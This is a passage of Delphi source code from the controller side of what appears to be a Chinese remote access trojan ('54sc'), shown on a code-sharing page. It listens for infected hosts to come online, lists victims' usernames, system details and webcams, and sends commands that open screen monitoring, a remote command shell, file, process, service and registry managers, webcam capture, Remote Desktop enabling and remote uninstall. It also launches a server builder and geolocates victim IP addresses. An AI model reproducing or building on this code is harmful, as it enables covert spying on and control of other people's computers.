📄 unitmain.pas
字号:
ServerSocket.Active := True;
ListView1.Items.Clear;
Clients.Clear;
except
StatusBar1.Panels.Items[0].Text := '修改监听端口失败!无法打开端口';
end;
StatusBar1.Panels.Items[0].Text := '修改监听端口成功!';
end;
except
StatusBar1.Panels.Items[0].Text := '修改监听端口失败!';
end; }
end;
//监听端口
procedure TMain.Active1Click(Sender: TObject);
begin
if Port = 0 then
begin
Active1.Checked := False;
Exit;
end;
ServerSocket.Active := Active1.Checked;
ServicePort1.Enabled := not Active1.Checked;
ListView1.Items.Clear;
Clients.Clear;
StatusBar1.Panels.Items[1].Text := ' 当前在线: ' + IntToStr(ListView1.Items.Count);
if ServerSocket.Active then
StatusBar1.Panels.Items[0].Text := ' 当前状态: 打开本地端口成功,等待主机上线...' + IntToStr(Port)
else
StatusBar1.Panels.Items[0].Text := '打开监听端口失败!无法打开端口';
end;
//设置端口
procedure TMain.ServicePort1Click(Sender: TObject);
var
Result: string;
begin
Result := InputBox('打开本地监听端口', '请输入一个用于监听连接的端口:', '');
if Length(Result) = 0 then Exit;
Port := StrToInt(Result);
ServerSocket.Port := Port;
ListView1.Items.Clear;
end;
procedure TMain.Systray1Click(Sender: TObject);
begin
Application.Restore;
Show;
SetForegroundWindow(Handle);
end;
procedure TMain.ApplicationEvents1Minimize(Sender: TObject);
begin
Hide;
ShowWindow(Application.Handle, SW_HIDE);
end;
procedure TMain.Timer2Timer(Sender: TObject);
begin
SystrayIcon.Visible := True;
end;
procedure TMain.Timer3Timer(Sender: TObject);
begin
if ItemDelay <= 0 then
begin
LastItem := nil;
Timer3.Enabled := False;
ListView1.CustomSort(@SortProc, 0);
end;
Dec(ItemDelay);
end;
procedure TMain.N2Click(Sender: TObject);
begin
Close;
end;
procedure TMain.N6Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Desktop: TDesktop;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Desktop := TDesktop.Create(Application);
Desktop.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Desktop.WindowItem := Window.ListView1.Items.Add;
Desktop.WindowItem.Data := Desktop;
Desktop.WindowItem.Caption := '屏幕监控';
Desktop.WindowItem.SubItems.Add(Split(Desktop.RemoteAddress, ':', 1));
Desktop.WindowItem.SubItems.Add(Split(Desktop.RemoteAddress, ':', 2));
Desktop.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.spSkinButtonsBar1Sections0Items0Click(Sender: TObject);
begin
ServicePort1.Click;
end;
function TMain.GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
var
// i: integer; //整型
// Temp: string;
ip: string;
begin
Result := '';
ip := IpName;
try
Result := QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[2] + QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[3];
except
Result := 'IP地址格式不对!';
if Result = '' then Result := '【未知数据】';
end;
end;
procedure TMain.ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
begin
ListView1.CustomSort(@SortProc, 0);
end;
procedure TMain.ListView1ColumnClick(Sender: TObject; Column: TListColumn);
begin
if SortType = Column.Index then
begin
case SortMode of
0: SortMode := 1
else
SortMode := 0;
end;
end
else
begin
SortType := Column.Index;
SortMode := 0;
end;
ListView1.CustomSort(@SortProc, 0);
end;
procedure TMain.ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
begin
Sender.Canvas.Brush.Color := clWindow;
if LastItem = nil then Exit;
if Item = LastItem then
begin
Sender.Canvas.Brush.Color := TColor($02E0F0D7); //红色
end;
end;
procedure TMain.N13Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
DelFile: TDelFile;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
DelFile := TDelFile.Create(Application);
DelFile.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
DelFile.WindowItem := Window.ListView1.Items.Add;
DelFile.WindowItem.Data := DelFile;
DelFile.WindowItem.Caption := '远程卸载';
DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 1));
DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 2));
DelFile.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.ToolButton4Click(Sender: TObject);
begin
ConfigServer.ShowModal;
{ ShellExecute(Handle, nil, '54sc1.exe', nil, nil, SW_SHOWNORMAL); }
ShellExecute(Handle, nil, '54sc.EXE', nil, nil, SW_SHOWNORMAL);
end;
procedure TMain.ToolButton5Click(Sender: TObject);
begin
FileManager1.Click; //文 件 管 理
end;
procedure TMain.ToolButton9Click(Sender: TObject);
begin
RemoteShell1.Click; //命 令 提 示 符
end;
procedure TMain.ToolButton8Click(Sender: TObject);
begin
ProcessManager1.Click; // 进程管理
end;
procedure TMain.ToolButton7Click(Sender: TObject);
begin
ServiceManager1.Click; //服务管理
end;
procedure TMain.ToolButton6Click(Sender: TObject);
begin
RegistryEditor1.Click; //注册表管理
end;
procedure TMain.ToolButton10Click(Sender: TObject);
begin
WebcamCapture1.Click; // 视频监控
end;
procedure TMain.ToolButton2Click(Sender: TObject);
begin
N13.Click; //服务端控制
end;
procedure TMain.ToolButton1Click(Sender: TObject);
function JieMi(Nr: string): string;
var
Text: PChar;
i: Integer;
begin
Text := Pchar(Nr);
for i := 0 to length(Nr) - 1 do
begin
Text[i] := Chr(Ord(Text[i]) - (i + 1));
end;
Result := Text;
end;
var
ii: string;
begin
try
II := Myinifile.Readstring('FTP', 'AutoSave', '0');
if ii = '0' then begin
UpIpDate.RadioBox1.Checked := false;
end
else begin
UpIpDate.FTPAdder.text := Myinifile.Readstring('FTP', 'FTPServer', '');
UpIpDate.FTPPort.text := Myinifile.Readstring('FTP', 'FTPport', '');
UpIpDate.FTPUser.Text := Myinifile.Readstring('FTP', 'FTPUser', '');
UpIpDate.FTPPass1.Text := Myinifile.Readstring('FTP', 'Password', '');
UpIpDate.FTPPass2.Text := UpIpDate.FTPPass1.Text;
UpIpDate.IpFileEdit.Text := Myinifile.Readstring('FTP', 'IpFile', '');
UpIpDate.RadioBox1.Checked := True;
end;
except
end;
UpIpDate.ShowModal;
end; {我的电脑目录删除}
procedure TMain.ToolButton3Click(Sender: TObject);
begin
N6.Click;
end;
procedure TMain.TransferView1Click(Sender: TObject);
begin
Transfers.Show;
end;
procedure TMain.N19Click(Sender: TObject);
begin
Gongjutool.Visible := not N19.Checked;
N19.Checked := not N19.Checked;
end;
procedure TMain.N20Click(Sender: TObject);
begin
//Panel1.Visible := not N20.Checked;
StatusBar1.Visible := not N20.Checked;
N20.Checked := not N20.Checked;
end;
procedure TMain.ListView1Click(Sender: TObject);
var
i: integer;
begin
i:= ListView1.Items.Count-1 ;
if not Assigned(ListView1.Selected) then Exit;
CmdRichEdit.Lines.Clear;
CmdRichEdit.SelAttributes.Color:=RGB(255,0,0);
CmdRichEdit.Lines.Add('当前主机-'+listview1.Items[i].Caption);
CmdRichEdit.SelAttributes.Color:=RGB(0,153,153);
CmdRichEdit.Lines.Add('系统信息-'+'用户名:'+Listview1.Items[i].SubItems.strings[0]+'|'+
'系统类型:'+Listview1.Items[i].SubItems.strings[1]+'|'+
'CPU:'+Listview1.Items[i].SubItems.strings[3]+'|'+
'内存:'+Listview1.Items[i].SubItems.strings[4]);
CmdRichEdit.SelAttributes.Color:=RGB(0,153,153);
CmdRichEdit.Lines.Add(' '+'电脑名称:'+Listview1.Items[i].SubItems.strings[5]+'|'+
Listview1.Items[i].SubItems.strings[2]+'摄像头'+'|'+
'服务端备注:'+Listview1.Items[i].SubItems.strings[6]);
end;
//清除
procedure TMain.N7Click(Sender: TObject);
begin
CmdRichEdit.Lines.Clear;
end;
//复制
procedure TMain.N5Click(Sender: TObject);
begin
Clipboard.SetTextBuf(PChar(CmdRichEdit.Lines.text));
end;
procedure TMain.N18Click(Sender: TObject);
begin
ShellExecute(0, nil, pchar(ExtractFilePath(Paramstr(0)) + 'readme.txt'), nil, nil, SW_Show);
end;
procedure TMain.N17Click(Sender: TObject);
begin
Shellexecute(handle, nil, pchar('http://www.54sc.com'), nil, nil, sw_shownormal);
end;
procedure TMain.N8Click(Sender: TObject);
begin
{ with TAboutForm.Create(Application) do
try
ShowModal;
finally
Free;
end; }
ShapForm := TShapForm.Create(Application);
ShapForm.ShowModal;
ShapForm.Refresh;
end;
procedure TMain.FormShow(Sender: TObject);
begin
ShapForm.Free;
end;
procedure TMain.yy1Click(Sender: TObject);
begin
Transfers.Show;
end;
procedure TMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Myinifile.writestring('LocalPort', 'port', IntToStr(port));
ExitProcess(0);
end;
procedure TMain.OpenTerm1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
O3389: TO3389;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
O3389 := TO3389.Create(Application);
O3389.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
O3389.WindowItem := Window.ListView1.Items.Add;
O3389.WindowItem.Data := O3389;
O3389.WindowItem.Caption := '终端开启';
O3389.WindowItem.SubItems.Add(Split(O3389.RemoteAddress, ':', 1));
O3389.WindowItem.SubItems.Add(Split(O3389.RemoteAddress, ':', 2));
O3389.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -